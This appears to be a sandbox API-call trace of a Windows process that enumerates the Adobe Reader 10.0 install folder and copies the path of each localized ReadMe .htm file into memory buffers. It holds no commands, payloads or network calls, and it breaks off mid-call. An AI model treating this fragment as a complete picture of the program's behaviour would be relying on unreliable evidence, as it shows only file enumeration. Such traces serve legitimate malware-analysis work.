lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\") returned="c:\\Program Files (x86)\\Adobe\\" [0041.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0041.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\*") returned="c:\\Program Files (x86)\\Adobe\\*" [0041.535] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.535] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.535] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.535] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.535] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.536] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.536] lstrcmpW (lpString1="Reader 10.0", lpString2=".") returned 1 [0041.536] lstrcmpW (lpString1="Reader 10.0", lpString2="..") returned 1 [0041.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0041.536] lstrlenW (lpString="Reader 10.0") returned 11 [0041.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="Reader 10.0" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0" [0041.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0041.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0041.536] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.536] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.536] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.536] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.536] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.536] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.536] lstrcmpW (lpString1="Benioku.htm", lpString2=".") returned 1 [0041.536] lstrcmpW (lpString1="Benioku.htm", lpString2="..") returned 1 [0041.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.536] lstrlenW (lpString="Benioku.htm") returned 11 [0041.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0041.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned 52 [0041.536] lstrcpyW (in: lpString1=0x5fede0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0041.536] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.536] lstrcmpW (lpString1="Berime.htm", lpString2=".") returned 1 [0041.536] lstrcmpW (lpString1="Berime.htm", lpString2="..") returned 1 [0041.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.536] lstrlenW (lpString="Berime.htm") returned 10 [0041.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0041.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned 51 [0041.536] lstrcpyW (in: lpString1=0x5fee58, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0041.536] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.536] lstrcmpW (lpString1="Esl", lpString2=".") returned 1 [0041.536] lstrcmpW (lpString1="Esl", lpString2="..") returned 1 [0041.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.536] lstrlenW (lpString="Esl") returned 3 [0041.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Esl" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0041.536] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.536] lstrcmpW (lpString1="IrakHau.htm", lpString2=".") returned 1 [0041.536] lstrcmpW (lpString1="IrakHau.htm", lpString2="..") returned 1 [0041.536] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.536] lstrlenW (lpString="IrakHau.htm") returned 11 [0041.536] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0041.537] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned 52 [0041.537] lstrcpyW (in: lpString1=0x5feec8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0041.537] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.537] lstrcmpW (lpString1="Leame.htm", lpString2=".") returned 1 [0041.537] lstrcmpW (lpString1="Leame.htm", lpString2="..") returned 1 [0041.537] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.537] lstrlenW (lpString="Leame.htm") returned 9 [0041.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0041.537] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned 50 [0041.537] lstrcpyW (in: lpString1=0x5fef40, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0041.537] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.537] lstrcmpW (lpString1="LeesMij.htm", lpString2=".") returned 1 [0041.537] lstrcmpW (lpString1="LeesMij.htm", lpString2="..") returned 1 [0041.537] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.537] lstrlenW (lpString="LeesMij.htm") returned 11 [0041.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0041.537] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned 52 [0041.537] lstrcpyW (in: lpString1=0x5fefb0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0041.537] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.537] lstrcmpW (lpString1="Leggimi.htm", lpString2=".") returned 1 [0041.537] lstrcmpW (lpString1="Leggimi.htm", lpString2="..") returned 1 [0041.537] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.537] lstrlenW (lpString="Leggimi.htm") returned 11 [0041.537] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0041.537] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned 52 [0041.537] lstrcpyW (in: lpString1=0x5ff028, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0041.539] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.539] lstrcmpW (lpString1="LeiaMe.htm", lpString2=".") returned 1 [0041.539] lstrcmpW (lpString1="LeiaMe.htm", lpString2="..") returned 1 [0041.539] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.539] lstrlenW (lpString="LeiaMe.htm") returned 10 [0041.539] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0041.539] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned 51 [0041.540] lstrcpyW (in: lpString1=0x5ff0a0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0041.540] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.540] lstrcmpW (lpString1="Liesmich.htm", lpString2=".") returned 1 [0041.540] lstrcmpW (lpString1="Liesmich.htm", lpString2="..") returned 1 [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.540] lstrlenW (lpString="Liesmich.htm") returned 12 [0041.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned 53 [0041.540] lstrcpyW (in: lpString1=0x5ff110, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0041.540] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.540] lstrcmpW (lpString1="Lisezmoi.htm", lpString2=".") returned 1 [0041.540] lstrcmpW (lpString1="Lisezmoi.htm", lpString2="..") returned 1 [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.540] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0041.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned 53 [0041.540] lstrcpyW (in: lpString1=0x5ff188, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0041.540] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.540] lstrcmpW (lpString1="Llegiu-me.htm", lpString2=".") returned 1 [0041.540] lstrcmpW (lpString1="Llegiu-me.htm", lpString2="..") returned 1 [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.540] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0041.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned 54 [0041.540] lstrcpyW (in: lpString1=0x5ff200, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0041.540] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.540] lstrcmpW (lpString1="LueMinut.htm", lpString2=".") returned 1 [0041.540] lstrcmpW (lpString1="LueMinut.htm", lpString2="..") returned 1 [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.540] lstrlenW (lpString="LueMinut.htm") returned 12 [0041.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned 53 [0041.540] lstrcpyW (in: lpString1=0x5ff278, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0041.540] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.540] lstrcmpW (lpString1="Reader", lpString2=".") returned 1 [0041.540] lstrcmpW (lpString1="Reader", lpString2="..") returned 1 [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.540] lstrlenW (lpString="Reader") returned 6 [0041.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Reader" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0041.540] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.540] lstrcmpW (lpString1="ReadMe.htm", lpString2=".") returned 1 [0041.540] lstrcmpW (lpString1="ReadMe.htm", lpString2="..") returned 1 [0041.540] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.540] lstrlenW (lpString="ReadMe.htm") returned 10 [0041.540] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned 51 [0041.541] lstrcpyW (in: lpString1=0x5ff2f0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0041.541] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.541] lstrcmpW (lpString1="ReadMeCS.htm", lpString2=".") returned 1 [0041.541] lstrcmpW (lpString1="ReadMeCS.htm", lpString2="..") returned 1 [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.541] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0041.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned 53 [0041.541] lstrcpyW (in: lpString1=0x5ff360, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0041.541] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.541] lstrcmpW (lpString1="ReadMeCT.htm", lpString2=".") returned 1 [0041.541] lstrcmpW (lpString1="ReadMeCT.htm", lpString2="..") returned 1 [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.541] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0041.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned 53 [0041.541] lstrcpyW (in: lpString1=0x5ff3d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0041.541] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.541] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2=".") returned 1 [0041.541] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2="..") returned 1 [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.541] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0041.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned 54 [0041.541] lstrcpyW (in: lpString1=0x5ff450, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0041.541] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.541] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2=".") returned 1 [0041.541] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2="..") returned 1 [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.541] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0041.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned 54 [0041.541] lstrcpyW (in: lpString1=0x5ff4c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0041.541] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.541] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2=".") returned 1 [0041.541] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2="..") returned 1 [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.541] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0041.541] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0041.541] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned 54 [0041.541] lstrcpyW (in: lpString1=0x5ff540, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0041.541] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.542] lstrcmpW (lpString1="ReadMeJ.htm", lpString2=".") returned 1 [0041.542] lstrcmpW (lpString1="ReadMeJ.htm", lpString2="..") returned 1 [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.542] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0041.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned 52 [0041.542] lstrcpyW (in: lpString1=0x5ff5b8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0041.542] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.542] lstrcmpW (lpString1="ReadMeK.htm", lpString2=".") returned 1 [0041.542] lstrcmpW (lpString1="ReadMeK.htm", lpString2="..") returned 1 [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.542] lstrlenW (lpString="ReadMeK.htm") returned 11 [0041.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned 52 [0041.542] lstrcpyW (in: lpString1=0x5ff630, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0041.542] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.542] lstrcmpW (lpString1="ReadMePOL.htm", lpString2=".") returned 1 [0041.542] lstrcmpW (lpString1="ReadMePOL.htm", lpString2="..") returned 1 [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.542] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0041.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned 54 [0041.542] lstrcpyW (in: lpString1=0x5ff6a8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0041.542] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.542] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2=".") returned 1 [0041.542] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2="..") returned 1 [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0041.542] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0041.542] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0041.542] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned 54 [0041.542] lstrcpyW (in: lpString1=0x5ff720, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0041.542] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: 